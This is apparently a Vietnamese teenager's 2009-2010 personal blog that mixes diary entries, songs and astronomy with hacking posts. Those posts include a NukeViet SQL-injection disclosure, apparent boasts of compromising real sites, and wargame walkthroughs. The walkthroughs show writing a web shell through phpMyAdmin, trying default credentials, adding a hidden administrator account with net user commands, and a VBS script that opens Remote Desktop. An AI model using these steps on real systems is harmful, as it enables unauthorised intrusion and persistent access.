_Đến giờ thì máu thể thao nó ngấm rồi, thix vận động ra mồ hôi . Tập thể thao tốt lắm, phòng bệnh, tăng sức khỏe. ko xấu mặt nào --> bởi vậy mấy bạn trẻ đọc đc entry này thì lo kế hoạch đi tập thể dục thể thao nhé. Ko thì về già bệnh ra . Tiếc là mấy năm rồi ko tìm đc đứa bạn "thể thao". có là dạo này hay đi tập "tợ" cùng thằng D thôi.2 thằng. thôi cũng đc. đỡ hơn 1 mình.

_Đến cái IT. hehe. mình bỏ công cho môn này nhìu lắm. bao nhiêu "cái đêm". bao nhiêu năm,tháng,ngày,giờ,phút đổ vào nó từ khi mới lớp 8 (lớp 6-7 thì toàn VLTK thôi ). Từ khi tham gia YAHOO-69->VNFRIENDS->VNBRAIN->HCE->XGROUP. Hồi đó tham gia VNF thì công việc cũng nhàn nhạ, upload truyện. share link. fix. post bài. đến lớp 9 thì học PHP rồi lầm lỡ vào con đường Attacking Web (nghe mượt hơn từ Hacking, hacking nghe có vẻ ...). Đến giờ thì ko bik thành công nhiều ko, cố gắng nỗ lực, có chút thành quả để mọi người biết đến. Mong là mai mốt mình vào ĐH. vào CLB IT của trường thì vài người nhận ra . *Sống thì thằng nào chả muốn mọi người bik đến chứ *. Mà ngộ là cứ chuyên tâm, bỏ ngủ với cái IT vài tháng là chán, hoặc là vào học thì ko có time nữa . Xong rồi lại cờm-bắck . Nghe có vẻ ghê gớm, chứ thật là: ta trở lại , và ăn hại gấp tư .

_hết rồi, đọc hoài....ngủ 5h xong dậy học điện nào @_@

Get Link MediaFire v2.1 released! (Fixed Get Link - with password)

2010-04-24T20:33:00.003+07:00

_Sr, lo làm gấp wá wên sửa phần down file với pass. Thanks các bạn vì đã report ^^.
_À lưu ý , nếu 1 hôm đẹp trời nào đó ko get đc link nữa , thì đợi xem 1-2 ngày sau. nếu vẫn ko get đc thì hẵn report, vì có thể là MF ban IP của host (có thể 1 ngày sau là unban)

http://www.mediafire.com/?ziy2moo0tfn

Get Link MediaFire v2.0 released!

2010-04-16T11:48:00.001+07:00

Sau 1 thời gian vắng mặt. v2.0 đã sửa xong :D. Lần này MF chơi hơi ác, encode đủ thứ >"<

Bubble Love (Mc Mong - Seo In Young)

2010-03-13T00:18:00.000+07:00

Giọng Seo In Young hay wá . Mc Mong rap vô nữa ---> Đỉnh . Ko biết bài này có đi PERF ko, có thì chắc ẳm hạng đây :D

Kỉ niệm với thiên văn :) + Tết này!

2010-02-24T04:14:00.005+07:00

H.nay ngủ ko đc (khó ngủ vô cùng), lật qua lật lại vẫn ko ngủ đc :). Online chơi xíu , google tên mình tí. Ra kết quả trang: vietastro.org . Chà, cả khối kỉ niệm của mình trong đây.Thôi thì lập tiết mục: "chuyện bây giờ mới kể". Những chuyện sau đây toàn là chuyện vui của tớ . Ai ko đọc hết thì hơi uổng đấy .

_Mê thiên văn từ hè năm lớp 9 . (bây giờ đang là 11) Hè mà, onl tìm thông tin thì biết trong ttvnol có mục thiên văn. Vào xem các bác nói chuyện, xem hình ảnh bầu trời. Thật sự cuôn hút vô cùng . Thế là từ đó mình mê thiên văn. Tuy là lúc đó còn trẻ,ngây thơ lắm . Mình thích nhiều thứ đi kèm với việc chán nhiều thứ . Uhm, mình là thế, chẳng sửa đổi đc. Nhưng chỉ có IT-Thiên văn là 2 niềm đam mê tới giờ mình vẫn chưa thấy chán. Tuy, kiến thức thiên văn chẳng lại ai, vì vậy chẳng dám thêm chữ "học" vào sau "thiên văn" ^^. Thích ngắm bầu trời vào đêm ít mây, chà,cảm giác rất là đã . Nhưng ở TP thì chẳng có "thảm cỏ" nào để nằm bệt, nhìn thẳng lên trời cả . Có 2 lần đc nằm bệt và ngắm sao 1 cách đã nhất là: 1 lần đi trại thiên văn với HAAC (vietastro.org) + 1 lần đi ngắm sao băng cùng HAAC luôn (lúc đó có 3 thằng khỉ gió: Dũng-Phát-Minh nữa ).

_Nói về lần đi hội trại trước , thì quả thật ... nhìn mình ngu kinh khủng =.=. hjx, nhìn thất vọng quá. Thôi thì quăng lên luôn, sợ gì ai

_hehe,ngoài ra thời gian đó mình cũng chơi tên lửa nước cùng a Long . Hồi đó đang học lớp 9, trại hè thì là đang trong time mình thi lên 10 mới ghê . Lúc trong ~thời gian lớp 9, chơi cái này với mấy thằng bạn vui phết. Đem đi vòng vòng bắn, lên c.viên bắn -> bị đuổi . Sẽ kiếm lại hình ảnh tên lửa nước cực Mini của mình . Kích thước chỉ = ~2 lon coca+1 chai c2 thôi. Tháo ra ráp vô đc . Ai thích xem bắn thì youtube: water rocket. Còn đây là clip mà trong trại hè bắn. Tên lửa kèm theo mấy tên lửa pháo bông, nhìn bán đã lắm. Nhìn trực tiếp còn đã hơn

_Tối đó bắn xong rồi ăn khoai, ăn mì, chơi trò chơi, hjx , vui hết sức . Sáng dậy thì đi tắm nước, đi chơi trò chơi lớn (tìm địa điểm mà các BTC đứng đó sẵn, giải câu đố,trật thì ...phạt). Vui ko tả ....

+ Khoảng thời gian đáng nhớ nhất là ~từ hè 9 -> 10. Thời gian ấy, mình chỉ chơi với 3 thằng: P-D-M .

_Nhớ thời gian mà nhận đc tin có sao băng, 4 thằng họp nhau ra nhà mình chuẩn bị khuya ra ngắm sao băng ngay cây xăng (lúc này cây xăng bị dọn rồi ) ngay trường LS xem. Vui nhất là màn: xịt thuốc chống mũi, xin mấy chú công an (đồn c.a đối diện) cho ra đi vòng vòng,ko thì mấy chú dẹp rồi cho về đồn mất . Giờ nghĩ lại 4 thằng ngu hết sức . Nhưng vui ko kém là trước đó, ~11h tụ họp. lên phòng trống trên gác ngồi đánh bài. đánh bài uống nước. tếu vãi . Thức khuya nên đầu thằng nào cũng khùng khùng (như mình đang viết entry bây giờ ) . tếu vãi.

_2h chạy ra bắt đầu tìm sao băng, nhìn lên trời. mây chằng chịt, mà lúc đó có thằng nào bik đó là mây đâu. tưởng là trời bình thường , mà sao ko thấy sao đâu hết . Ngồi tìm lòi ... . Chạy từ nhà thờ, vô chung cư, thế là tất cả bỏ cuộc. Rồi ko nhớ sau đó là về nhà hết hay là ở lại tới sáng rồi về .

_Chưa hết, sau khi ngày đó xem ko đc. Rồi đc tin HAAC hôm sau tổ chức ngắm sao băng ở nhà anh gì ... ý (wên tên rầu :( ).Thế là 4 thằng cùng xách xe lên địa điểm. hjx. tới nơi mấy anh nói là: "sao dắt đông vậy" .hjx,nhưng mấy anh tốt bụng cũng cho xem. ko thì 4 thằng chạy về là bỏ mạng . Hôm đó ngại kinh khủng . Nhưng rồi cũng tới ~5h. Hay tin là mây đi hết rồi. cả đám bay lên mái nhà, nằm sải lai rồi đợi sao băng. Thế là ai cũng ngắm đc trên 10 cái, riêng mình do ko nhìn kĩ nên đc 1-2 cái . Ngắm xong, đợi tới bình mình, ngắm xong rồi về luôn. Về đứa nào cũng fer, ngủ tới 11h .

_Tuy là bây giờ thời gian mình dành cho thiên văn,tên lửa nước đã ko còn đc, nhưng vẫn thích ngắm sao trên trời. Tuy rằng chỉ xác định đc 1 chòm duy nhất là: Orion . Thôi vậy cũng đủ rồi, thời gian năm lớp 9->10 quả thật là rất cám ơn anh chị trong HAAC . 1 kì nghỉ hè thú vị .

+ Tết 2010 này vừa đc hội tụ cặp 4 thằng khùng: P-D-M . Đánh bài xong, ván 1-2k, vui fết . Xong, call bé M ra đi Lotteria. Xách 2 chiếc xe máy, thế là 4 thằng lên đường. Ăn xong chạy vòng vòng tùm lum tìm quán lẩu. Thế là ko có, bọc về bờ kè đi uống chút bia. Tụi này mới lần đầu ,lần 2 nên uống ko đc nhiều. Mới kêu vài món ra, chưa đc bao nhiu đã đòi về . Đang vui, uống bia ko phải chứng tỏ mình là đàn ông, biết uống, biết tất. Mà là hội tụ bạn bè, uống 2-3 chai cho vui thì mới đúng. Nhậu tuy là ko say nhưng vui. Xong iferồi típ tục đi CAFE Tịnh . Vào đánh bài típ mới ghê . Thằng D mặt đỏ chót, nhìn tếu vãi . Chỉ 1 buổi tối của mùng 4 mà tụ họp đc , vui ko tả .

_Mình có 2 nhóm bạn thân: 1 ở trường , 1 ở nhà.
+ Ở trường thì khá nhiều,Nói chung là hết cả bọn nam + vài đứa nữ. Ai cũng thân.
+ Ở nhà thì có: P-D-M-H. Mà thằng H dạo này bận vl ra , ko đi chơi đc như xưa.
_Thằng Phát thì quen từ hồi lớp 2 -> 11. 9 năm rồi .
_Thằng Dũng thì lớp 6 -> 11 . 5 năm
_Thằng Minh. Năm lớp 4-5 đã là bạn, thằng này kém hơn mình 1t.nhưng hồi đó nhà ku này làm tiệm net kế nhà. Qua chơi riếc lờn mặt, rồi đi đá banh, tùm lum . Nhớ hồi đó google ra trang bói, bói 2 thằng thì ra là 2 thằng sẽ thân nhau --> ...

_Mấy thằng trong trường thì 2 năm rồi.

....... Thôi 5h rồi, mệt rồi, kết thúc entry đây .

P/S: Nếu ai để ý sẽ thấy đôi dép tao mang trong hình đi hội trại , t đã dùng tới gần nghỉ hè năm lớp 10 đấy . Tính tròn ra ~1 năm .

[checked] upanh.com - uploadanh.com

2010-02-06T23:53:00.000+07:00

http://www.upanh.com/checked.txt
:D

[r0ot] thehetre.vn

2010-02-05T02:36:00.002+07:00

[Video][Public Bug] Nukeviet v2.0 RC2

2010-02-01T23:53:00.001+07:00

####################################################
#      s0urce: nukeviet v2.0 rc2                   #
#      meth0d: sql injection + ...                 #
#      auth0r: manhluat93 [at] hcegroup|xgroupvn   #
#      h0mepag3: manhluat.blogspot.com             #
#      dangerous                                   #
####################################################

[+] http://hack-ing.org/vide0/Public___Nukeviet.rar
[+] http://rapidshare.com/files/343880074/Public___Nukeviet.rar
[+] http://www.mediafire.com/?zjnmt2judme

[Demo] NUKEVIET [Upload Shell]

2010-01-25T22:17:00.002+07:00

Đừng chém e nhé . nhẹ nhàng thôi

Size: 4,3 MB


http://www.mediafire.com/?5jymjqwhmcg

MC.Mong {collection}

2010-01-20T11:14:00.005+07:00

Toàn bài đỉnh mà mình thích nhất

[H.O.T] Letter To You - {Key ft. IU }

2010-01-18T22:19:00.002+07:00

Bài này đỉnh gớm . Hồi đó bài này là của Mc Mong ft Lyn. Đây là bản mp3 của McMong hát:

[Open] WarG@ME II: IQ-Hacking

2010-01-18T00:03:00.004+07:00

Với nhiều ý kiến là nên kết hợp IQ và Kĩ thuật thì nay sau vài ngày vất vả code thì ML cho ra đời WarG@ME II: IQ-Hacking. Vẫn tên gọi là IQ-Hacking nhưng Kĩ thuật sẽ chiếm ~75% (vẫn có suy luận, suy luận sẽ giúp các bác tìm đường để khai thác).

Để hoàn thành WarG@ME các bác cần có số kiến thức cơ bản của: PHP,JS,HTML,SQL,...

WarG@ME kì này có lẽ là hơi "khó nhai" nên các bác tha hồ mà nhóm cùng nhau để chơi ^^. 1 người thì hơi khó đấy ...

Thanks to X-Tuxedo,X-Angel

WarG@ME II: IQ-Hacking
auth0r: manhluat93
Total: 9 levels
Giải I:

Giải II::

@Tất cả giải thưởng trên đều là do mình "chui vào chui ra" mà có đc và ML từ nhỏ h` ko bao giờ UG nên ko có những phần thưởng đủ để kích thích những anh em cần thứ giá trị hơn . Nhưng giải thưởng ko phải là tất cả, chủ yếu là anh em đc "cân não" và check lại kĩ thuật của mình thôi . Kiến thức là vô giá. Ko chỉ là kiến thức mà còn là cách suy nghĩ - lập luận của 1 hacker nữa

_Sau vài ngày sẽ đưa ra hint cho mỗi level .

[Phân tích] Joomla Hash Password 1.5.x

2010-01-14T12:32:00.004+07:00

Mình dùng kiến thức hèn mọn giải thích cho nó "bình dân" tí nhé ^^:

Joomla tạo ra 1 chuỗi (a-z,A-Z,0-9) gồm 32 kí tự [gọi là salt ] (VD: 4PfdTYfKMBcJsofoiO71ow3GC6dVeAOr )
_Joomla lấy password của bạn nhập vào (VD: 123456)

_Sau đó MD5 chuỗi $salt.$pass (Ở đây nó sẽ là: 1234564PfdTYfKMBcJsofoiO71ow3GC6dVeAOr).
_MD5 nó ra thế này --> 865110d1d647ddca90fea613fc06ae05

Rồi :D. chèn vào column password là --> 865110d1d647ddca90fea613fc06ae05:4PfdTYfKMBcJsofoiO71ow3GC6dVeAOrNhận xét:

1. Encrypt Password cấu trúc giống như VBB .VBB thay vì 2 column thì ku này dồn vào 1 column và ngăn cách bởi dấu :.
2. Salt dài tới 32 char, trong khi vbb là 3 char --> Tỉ lệ crack rất thấp.

_Đây là CODE PHP, ML viết ra để generator hash passsword Joomla nhé . Ai xài thì save *.php về bem

$char = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz1234567890';
$pass = stripslashes($_GET['pass']);
for($i=1;$i<=32;$i++) {
$_s .= $char[rand(0,strlen($char))];
}
echo md5($pass.$_s).':'.$_s;

_Nhớ là chạy *.php?pass=Pass muốn encrypt nhé

_Đây chỉ là cách encrypt default của nó.Còn đây là những "thể loại" encrypt của Joomla này (nhìn mà nản @_@):

switch ($encryption) { case 'plain' : return $plaintext; case 'sha' : $encrypted = base64_encode(mhash(MHASH_SHA1, $plaintext)); return ($show_encrypt) ? '{SHA}'.$encrypted : $encrypted; case 'crypt' : case 'crypt-des' : case 'crypt-md5' : case 'crypt-blowfish' : return ($show_encrypt ? '{crypt}' : '').crypt($plaintext, $salt); case 'md5-base64' : $encrypted = base64_encode(mhash(MHASH_MD5, $plaintext)); return ($show_encrypt) ? '{MD5}'.$encrypted : $encrypted; case 'ssha' : $encrypted = base64_encode(mhash(MHASH_SHA1, $plaintext.$salt).$salt); return ($show_encrypt) ? '{SSHA}'.$encrypted : $encrypted; case 'smd5' : $encrypted = base64_encode(mhash(MHASH_MD5, $plaintext.$salt).$salt); return ($show_encrypt) ? '{SMD5}'.$encrypted : $encrypted; case 'aprmd5' : $length = strlen($plaintext); $context = $plaintext.'$apr1$'.$salt; $binary = JUserHelper::_bin(md5($plaintext.$salt.$plaintext)); for ($i = $length; $i > 0; $i -= 16) { $context .= substr($binary, 0, ($i > 16 ? 16 : $i)); } for ($i = $length; $i > 0; $i >>= 1) { $context .= ($i & 1) ? chr(0) : $plaintext[0]; } $binary = JUserHelper::_bin(md5($context)); for ($i = 0; $i < 1000; $i ++) { $new = ($i & 1) ? $plaintext : substr($binary, 0, 16); if ($i % 3) { $new .= $salt; } if ($i % 7) { $new .= $plaintext; } $new .= ($i & 1) ? substr($binary, 0, 16) : $plaintext; $binary = JUserHelper::_bin(md5($new)); } $p = array (); for ($i = 0; $i < 5; $i ++) { $k = $i +6; $j = $i +12; if ($j == 16) { $j = 5; } $p[] = JUserHelper::_toAPRMD5((ord($binary[$i]) << 16) | (ord($binary[$k]) << 8) | (ord($binary[$j])), 5); } return '$apr1$'.$salt.'$'.implode('', $p).JUserHelper::_toAPRMD5(ord($binary[11]), 3); case 'md5-hex' : default : $encrypted = ($salt) ? md5($plaintext.$salt) : md5($plaintext); return ($show_encrypt) ? '{MD5}'.$encrypted : $encrypted;

Jason Mraz -I'm Yours

2010-01-12T00:25:00.002+07:00

Đã nghe loáng thoáng bài này ở nhiều nơi rồi...H.nay tìm đc, thấy chất wá nên wăng lên đây (tuy là hơi cổ)

Well you done done me and you bet I felt it
I tried to be chill but you're so hot that I melted
I fell right through the cracks, now I'm trying to get back

Before the cool done run out I'll be giving it my bestest
And nothing's going to stop me but divine intervention
I reckon it's again my turn to win some or learn some

But I won't hesitate no more, no more
It cannot wait, I'm yours

Well open up your mind and see like me
Open up your plans and then you're free
Look into your heart and you'll find love love love love

Listen to the music of the moment people, dance and sing
We're just one big family
And it's our God-forsaken right to be loved loved loved loved loved

So I won't hesitate no more, no more
It cannot wait, I'm sure
There's no need to complicate, our time is short
This is our fate, I'm yours

D-d-do do you, but do you, d-d-do
But do you want to come on
Scooch on over closer dear
And I will nibble your ear

I've been spending way too long checking my tongue in the mirror
And bending over backwards just to try to see it clearer
But my breath fogged up the glass
And so I drew a new face and I laughed

I guess what I be saying is there ain't no better reason
To rid yourself of vanities and just go with the seasons
It's what we aim to do, our name is our virtue

But I won't hesitate no more, no more
It cannot wait, I'm yours

(I won't hesitate)
Open up your mind and see like me
(No more, no more)
Open up your plans and man you're free
Look into your heart and you'll find that the sky is yours
(It cannot wait, I'm sure)

So please don't, please don't, please don't
(There's no need to complicate)
There's no need to complicate
(Our time is short)
'Cause our time is short
(This is our fate)
This is, this is, this is our fate
I'm yours

CF Dr.Thanh y chang bên TQ

2010-01-07T11:48:00.001+07:00

Hjx... hãi thật

Jeff Dunham - Achmed's very special Christmas in Milwaukee Vietsub

2010-01-04T23:48:00.001+07:00

. Hơi cổ ... nhưng hài . Nhưng nói chung: đáng xem

Avatar BKAV =))

2010-01-04T22:54:00.001+07:00

Trái đất ta thật là ...

2010-01-03T19:57:00.003+07:00

Trái Đất của chúng ta bé nhỏ như thế nào trong vũ trụ

Trái Đất của chúng ta nằm trong hệ mặt trời thuộc một thiên hà có tên là Ngân Hà, Hệ Mặt Trời của chúng ta nằm ở phía ngoài rìa của thiên hà, tức là chúng ta ở rất xa tâm thiên hà của mình. So về kích thước, Trái Đất của chúng ta chỉ là một hạt bụi trong dải Ngân Hà, và dải Ngân Hà của chúng ta thì chỉ là một hạt bụi so với nhiều thiên hà và siêu thiên hà khác, để diễn tả rõ hơn kích thước của Trái Đất mời bạn xem loạt hình minh họa dưới đây

Trái Đất có một vệ tinh tự nhiên là Mặt Trăng

Đây là kích thước của Sao Thủy so với Trái Đất và Mặt Trăng

So với sao Hỏa

So với sao Kim
[IMG]http://www.tinhte.com/forum/imagehosting/213464b38bc9ef10c0.jpg
[/IMG]
Trái Đất to lớn của chúng ta bỗng nhiên nhỏ bé quá đỗi so với sao Thiên Vương và Hải Vương

Nhưng Thiên Vương và Hải Vương vẫn còn bé lắm so với sao Thổ

Và Sao thổ thì bé hơn sao Mộc, các bạn có thể thấy Trái Đất giờ đã bé như thế nào

So với Mặt Trời, nguồn năng lượng sống cho Trái Đất thì chúng ta chỉ là một chấm nhỏ

Nhưng Mặt Trời của chúng ta lại còn bé hơn cả sao Thiên Lang (Sirius)

Nhưng Sirius vẫn còn nhỏ lắm so với sao Pollux, một ngôi sao cách Trái Đất 36 năm ánh sáng, lúc này Trái Đất đã quá nhỏ để so sánh với Pollux

Pollux vẫn còn nhỏ so với sao Arcturus, và Trái Đất thì quá bé để so sánh, nên ta sẽ dùng Mặt Trời khổng lồ của ta để so sánh

Vẫn còn những hành tinh to lớn hơn Arcturus nữa

To lớn như vậy nhưng vẫn còn những ngôi sao to hơn

Và to lớn hơn

VY Canis Majoris là ngôi sao to lớn nhất mà con người được biết đến

So với ngôi sao này, Mặt Trời của chúng ta không là cái gì cả!

Đường kính của VY Canis Majoris là 2.800.000.000 km, bạn có thể thử tưởng tượng xem kích thước đó to lớn như thế nào không? Hãy thử tưởng tượng bạn ngồi trên một chiếc máy bay Boing hay Airbus và dạo quanh ngôi sao này ở vận tốc 900km/h (vận tốc máy bay phản lực ở Trái Đất), bạn có biết bạn sẽ phải mất bao nhiêu năm để vòng quanh ngôi sao này không? Bạn sẽ phải mất 1100 năm (vâng, một ngàn một trăm năm để bay vòng quanh ngôi sao này 1 vòng đấy!)

VY Canis Majoris là một vị khổng lồ so với hạt bụi là Mặt Trời của chúng ta, nhưng ngôi sao này vẫn chỉ là một chấm nhỏ, một hạt bụi so với hàng tỉ tỉ ngôi sao khác đang có mặt trong dải Ngân Hà, và dải Ngân Hà của chúng ta thì vẫn chỉ là một thiên hà nhỏ so với hàng tỉ tỉ thiên hà khác trong vũ trụ.

Đây là một tấm ảnh thực về vũ trụ, những đốm sáng trong hình thực ra là những thiên hà, mỗi thiên hà chứa hàng tỉ tỉ ngôi sao, hành tinh, tinh vân và hàng triệu thứ khác có kích thước to lớn hơn cả ngôi sao to lớn nhất trong loạt hình kể trên.

Các bạn có thể thấy được qua loạt hình phía trên, chúng ta không là cái gì cả trong vũ trụ này, kiến thức của chúng ta về bầu trời có thể xem là con số không, một con số không đúng nghĩa. Vậy thì bạn của tôi ơi, nếu bạn vẫn cho rằng con người là giống văn minh và sự sống trên Trái Đất là duy nhất trong vũ trụ, bạn có thể nghĩ lại rồi đó!

Nguồn: tinhte-gamevn-youtube
Bonus 2 cái clip

halinh.vn

2010-01-03T15:54:00.002+07:00

http://thehetre.vn

2010-01-03T15:28:00.001+07:00

Chui vào lâu rồi .h.nay buồn lôi ra show

http://thehetre.vn/banners/checked.php

Daft Hands - Harder, Better, Faster, Stronger

2010-01-02T11:34:00.000+07:00

Nhìn điêu vãi

The Italian Man Who went to Malta.

2010-01-02T11:13:00.001+07:00

Tự hiểu

Quảng cáo Neptune tết 2010 - Highquality - Neptune TVC

2010-01-02T00:42:00.001+07:00

Nghe cái này trên TV thấy bài nhạc hay wá .Mọi người nghe thử

[Đáp án] WarGame: IQ-Hacking I

2010-01-02T00:32:00.000+07:00

♫ WARGAME ♫

Mã:

http://hcegroup.net/hceteam/showthread.php?t=80

/*********************************************/

™ TOP RANK ™

●๋• ALL LEVELS ●๋•

Mã:

m30c0nx
Archimonde
omegakd
EchXynh

●๋• 4LEVELS ●๋•

Mã:

Phoenix
X-Tuxedo
Kotaro
napoleon

/*********************************************/
☼ ĐÁP ÁN ☼

Mã:

http://www.mediafire.com/?tmdnlzdnntn

http://rapidshare.com/files/328828807/Tutorial_WarGame_IQHacking.exe

Khi sư tử có tấm lòng!

2010-01-01T13:14:00.000+07:00

Christian được hai người Australia nuôi nhỏ và khi quá lớn, họ trả nó về với thiên nhiên. Một năm sau, họ tới châu Phi để thăm Christian và được cảnh báo rằng nó giờ đã là thủ lĩnh của một đàn sư tử nên có thể sẽ rất hung dữ. Nhưng những gì Christian thể hiện đã gây bất ngờ cho tất cả mọi người.

1 đêm thức trắng....

2009-12-31T02:45:00.002+07:00

Tuần này tức vã. Thứ 2 thì bị bà cô C.Nghệ bắt lên nộp tập @_@. Bả ngắm trúng ngay số mình mà , rồi gọi thêm 5 số để nó gọi là "công =" 1 chút.
_H.nay lại tiếp tục . Cái "relative clause" vậy mà cũng làm sai , chán vd' bản thân thật .

_Buồn wá , sẵn thức khuya rồi , thôi thì ta thức trắng cho hết hôm nay rồi đón 1/1/2010 luôn . Nốc cafe vào , ép não làm việc nào ....

Hãi ...

2009-12-29T19:47:00.002+07:00

Treo nick mới có 1 buổi sáng thôi mà tối lên thì nó thế này ... . Nhìn hãi thật . Đáng lẽ phải chụp cái tấm mà mấy cái mess chạy rầm rầm bên tay phải cơ

[WarGame] IQ-Hacking

2009-12-29T19:32:00.001+07:00

Dạo này dân chúng đồn rằng có 1 cái gọi là "IQ Hacking". Nói chung là hacking dựa trên đầu óc + kĩ thuật khá thôi . Nên đú đởn làm thử 1 cái wargame xem thế nào .

Thể loại: JS + IQ Hacking
Total: 9 levels
Yêu cầu: 1 chút JS và 1 quả đầu tương đối :">

ĐÂY CHỈ LÀ CHẶNG 1 THÔI , CÒN WARGAME II NỮA ^^

http://36teen.net/W@rGamE/1/
or
http://mealsonwheelsnorman.com/W@rGamE/1/

[Tutorial-WarGame] Tư duy

2009-12-28T23:57:00.006+07:00

WarGame này lâu lắm rồi , hồi hè lận ^^. h.nay lục lại wăng lên đây luôn

GIAI ĐOẠN 1
NHÌN TỔNG QUAN

_Như ta thấy là vào cái site wargame, vừa vào thì index đập vào mặt ta là chữ "a" ...Nhiều bạn lại hỏi ... "Quái lạ, cái site chẳng có gì thì làm sao khai thác bug ". Nhưng các bạn đã quên mất 1 công cụ rất gần gũi với các IT-ers nói chung và Hackers nói riêng ---> Gút gồ (Google)

_Vào http://google.com gõ dork: "site:meviehvisvit.43.gs" thì thấy các kết quả sau đây

_Như ta thấy kết quả đầu tiên là "VertrigoServ" .. Hê hê các bạn đã đoán được nó dùng gói "Vertrigo" để install home server (Vertrigo như là XAMPP và WAMP ấy ). Vậy ta phải tạo ra 1 câu hỏi ngay lập tức "Mình khai thác được gì ?". Vào thì thấy site war đã bị thay đổi index (Tớ thay đổi ). Vậy chưa có thông tin gì thú vị. Vào lại kết quả Google hồi nãy, ta bấm vào Cached kết quả đầu tiên để coi index "hồi đó" là gì ^^

_Như ta thấy Vertrigo đã cài sẵn:
* Apache 2.0.63
* PHP 5.2.5
* Mysql 5.0.51
* Smarty 2.6.18
* SQLite 3.5.6
* PhpMyAdmin 2.11.4
* SQLiteManager 1.2.0
* ZendOptimizer 3.3.0
_Ta thấy có 2 cái này thú vị :
* PhpMyAdmin 2.11.4
* SQLiteManager 1.2.0

_Nếu như Webmaster quên đổi password của 2 cái này thì hơi mệt đấy .
_Như mọi người biết PhpMyadmin có thể upload shell thông qua query "SELECT 'manhluat93' INTO OUTFILE '[Path]/shell.php' "

Vậy vào thử đường link: http://meviehvisvit.43.gs/phpmyadmin
_Mặc định VertrigoServ sẽ đặt password. Và user-pass Default là "root"- "vertrigo" . Thử xem .. Ồ men , hem đc , Chắc đổi pass rồi.

GIAI ĐOẠN 2
UPLOAD SHELL WITH SQLITE

_Vì đoạn này cũng hơi khó làm tut chữ nên manhluat làm cái tut video cho bà coan dễ hình dung

Để login vào SQLite cái site DEMO trong Tut dùng User-Pass = 'admin' nhé

Code:


Author: ManhLuat93 [at] hcegroup [dot] net
Video: Upload Shell with SQLite
Size: 2.45MB

http://www.mediafire.com/?ynnzmbmm2v5

OR

http://rapidshare.com/files/255256103/Upload-Shell-SQLite-_ManhLuat93_.rar.html

GIAI ĐOẠN 3
REMOTE DESKTOP

_Bài viết này mình sẽ hướng dẫn dùng shell open port để remote (với quyền Admin).

_Trước tiên ta có link shell: http://localhost/sqlite/shell.php (Các bạn có thể nhìn hình sau đây và thấy nó là quyền Administrator )

Okie.. bây h ta đánh lệnh vào ô Command để tạo 1 user:

Code:

net user username password /add

Ex: net user manhluat93 hcegroup /add
User là manhluat93 và Pass là hcegroup

_Sau đó đưa user manhluat93 vào group "Administrator"

Code:

net localgroup administrators manhluat93 /add

_Okie vậy là ta có user-pass có quyền Administrator (là cũng có quyền remote ấy ). Nhưng tình hình bây h là server đã close port . Vậy ta copy đoạn code sau đây rồi save lại thành "manhluat93.vbs". Upload "manhluat93.vbs" lên rồi chạy nó để mà open port Remote

Code:

machine = "."
cimv2_string = "WINMGMTS:" & "\\" & machine & "\root\cimv2"
query = "select * from Win32_TerminalServiceSetting"
value_to_set = 1 ' 0=off, 1=on

set cimv2 = GetObject( cimv2_string )
set items = cimv2.ExecQuery( query )

for each item in items

item.SetAllowTSConnections( value_to_set )

next

Bây giờ bật Remote Desktop lên rồi điền IP vào rồi điền tiếp User-Pass thôi

------------- END TUT -------------
>>> KẾT THÚC WAR GAME <<<
MONG LÀ ANH EM HỌC HỎI ĐƯỢC NHIỀU KINH NGHIỆM QUA NHỮNG GÌ MÌNH CHIA SẺ ^^

Cuộc sống vẫy chào - Hoàng Hải

2009-12-28T23:15:00.005+07:00

Hehe. điệu nhạc khá vui , lyric cũng okie ^^. nói chung là nghe để thư giãn với đời

Version: Quảng cáo

Bản chính đây

Chứng minh...

2009-12-28T21:03:00.000+07:00

Cho các giá trị sau:

Đẹp trai = 1

Xấu trai = (-1)

Chung tình = 2

Đa tình = (-2)

Nghèo = 3

Giàu = (-3)

Đã có vợ = 0

Ta chứng minh được:

Đẹp trai + Chung tình = Nghèo

Chung tình + Giàu = Xấu trai

Nghèo + Xấu trai = Chung tình

Đẹp trai + Giàu = Đa tình

Từ đó suy ra: => Đẹp trai + Giàu + Chung tình = Đã có vợ

PHP Tutorial – 1. PHP là gì ?

2009-12-28T11:30:00.005+07:00

Tạm thời bà coan vào đây đọc tut 1 nhé :):
http://manhluat.wordpress.com/2009/11/24/php-tutorial-1-php-la-gi/

Cái blogspot nó chặn kí tự ... ko đánh example ra đc

[Tutorial] | [S3K4-UITSTUDENT] WARGAME IV - Hacking & Security

2009-12-27T14:40:00.008+07:00

Hì. Hôm 24, đi chơi về ~12h. Nhìn lên status của lão xXx , thấy cái đường link wargame . Suy nghĩ 1 hồi xem có nên thử ko (lâu ngày ko đụng hack hiếc rồi ). Thôi thì noel mà, thức đêm đợi wa ngày 25 đón Chúa sinh ra đời luôn . Thế là click vào bem . Vào thì thấy có mấy người pass lv4 rồi (chà chà, dân UIT cũng pro gớm, wargame lập lúc 10h30 vậy mà đã có 7-8 người pass lv4 ).

----------------------------------
Topic: http://forum.uitstudent.com/hack-security/10971-wargame-iv-tu-duy-hacker-hacking-security.html
WarGame: http://wargame.mine.nu/billboard.php
Total Level: 7
----------------------------------

# LEVEL 1-2-3 bỏ qua nhé (lv 3 thì xem cái file passwd.gif đấy) #

# LEVEL 4 # thì xem đoạn javascript
>

var a111a11a111 = "8334511";
var a11a111a111 = "4102384";
var a111a111a11 = "cainaylapasswordne";
hichic = a111a111a11.substr(1,2) + a111a111a11.substr(6,1) + a111a111a11.substr(13,1) + a111a111a11.substr(8,1) + a111a111a11.substr(15,1) + a111a111a11.substr(2,1) + a111a111a11.substr(12,1);

..........
window.location.href=hichic+".php";

Vậy thì chỉ cần đánh lên address của browser "javascript:document.write(hichic);" rồi kèm theo '.php' là ra đc cái link wa lv 5

# LEVEL 5 #

Bôi đen ta có 2 dòng này:
++ Encode(Sub1) = 'NjM2N2M0OGRkMTkzZDU2ZWE3YjA='
++ Encode(Sub2) = 'YmFhZDI1YjE5NDU1ZTUyOWY1ZWU='

Nhìn là biết 2 đoạn base64 rồi, decode ra ta đc 2 chuỗi "6367c48dd193d56ea7b0" & "baad25b19455e529f5ee"

_Thấy ghép vào thì nó ra gì hem ? --> 6367c48dd193d56ea7b0baad25b19455e529f5ee --> Mã hóa SHA-1

Đem nguyên đống này wăng lên google , search 1 hồi ra đc cái pass chưa mã hóa là "abc123" (mà ko fải pass mã hóa nào cũng crack đc đâu nhé :|)

# LEVEL 6 #

